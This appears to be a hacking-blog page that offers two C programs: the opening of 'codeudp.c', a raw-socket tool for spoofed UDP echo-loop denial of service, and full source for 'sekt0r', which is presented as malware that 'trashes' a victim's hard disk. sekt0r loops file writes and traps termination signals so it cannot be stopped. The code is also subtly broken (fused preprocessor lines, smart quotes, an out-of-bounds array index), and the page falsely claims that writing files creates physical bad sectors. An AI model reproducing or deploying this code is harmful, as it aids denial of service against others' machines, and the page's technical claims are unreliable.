This script/program is created by Code Mobile. Iam not taking thecredit of the original author. :)

/*

My advice is to disable the echo service completely. It is often used by hackers to hang a computer.

Try sending a packet from port 7 your ip to port 7 your ip.

The system will bounce the packet back and forth slowing the system
drastically.

A Hacker Program I have seen used to do this is called codeudp.c

*/

/************************************************************************/
/* codeudp.c version 0.01 by CodeMobile - codemobile@yahoo.com */
/* Sends a single udp datagram with the source/destination address/port */
/* set to whatever you want. Unfortunately Linux 1.2 and SunOS 4.1 */
/* don't seem to have the IP_HDRINCL option, so the source address will */
/* be set to the real address. It does however work ok on SunOS 5.4. */
/* Should compile fine with just an ANSI compiler (such as gcc) under */
/* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra */
/* libraries on the command line: */
/* /usr/ucb/cc -o codeudp codeudp001.c -lsocket -lnsl */
/* I'll state the obvious - this needs to be run as root! Do not use */
/* this program unless you know what you are doing, as it is possible */
/* that you could confuse parts of your network / internet. */
/* (c) 2011 Code Mobile - I accept no responsiblity for anything this does. */
/************************************************************************/
/* I used the source of traceroute as an example while writing this. */
/* Many thanks to Anu (pctipsbyanu@yahoo.com) and Inspired  */
/* for pointing me in the right direction. */
/************************************************************************/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<stdlib.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

....To take advantage you must DOWNLOAD FULL CODE.

Compile and execute as root 

All credit goes to  Code Mobile.

Thanks....

Warning: I don’t take responsibility for what you do with this program.
This program will create bad sectors on the hard disk. If you left it
running for long enough, it could render a hard disk quite useless. When
bad sectors are found, the sector is marked as bad, so fixing the hard disk
is not an easy task. Unless the victim has time and knowledge to fix the
disk, the hard drive can be left quite literally defective.

---

So the following code creates bad sectors on the hard disk….

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0,x,fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf(“sekt0r: trashing hard disk with bad sectors!\n”);
while(1) {
fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);
fd[2] = open(“/tmp/.test1″, O_WRONLY|O_CREAT, 511);
fd[3] = open(“/tmp/.test2″, O_WRONLY|O_CREAT, 511);
fd[4] = open(“/tmp/.test3″, O_WRONLY|O_CREAT, 511);
fd[5] = open(“/tmp/.test4″, O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} } }
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf(“sekt0r: cannot exit – trashing hard disk with bad sectors!\n”);
return; /* go back to creating bad sectors. */
}


DOWNLOAD CODE

THANKS...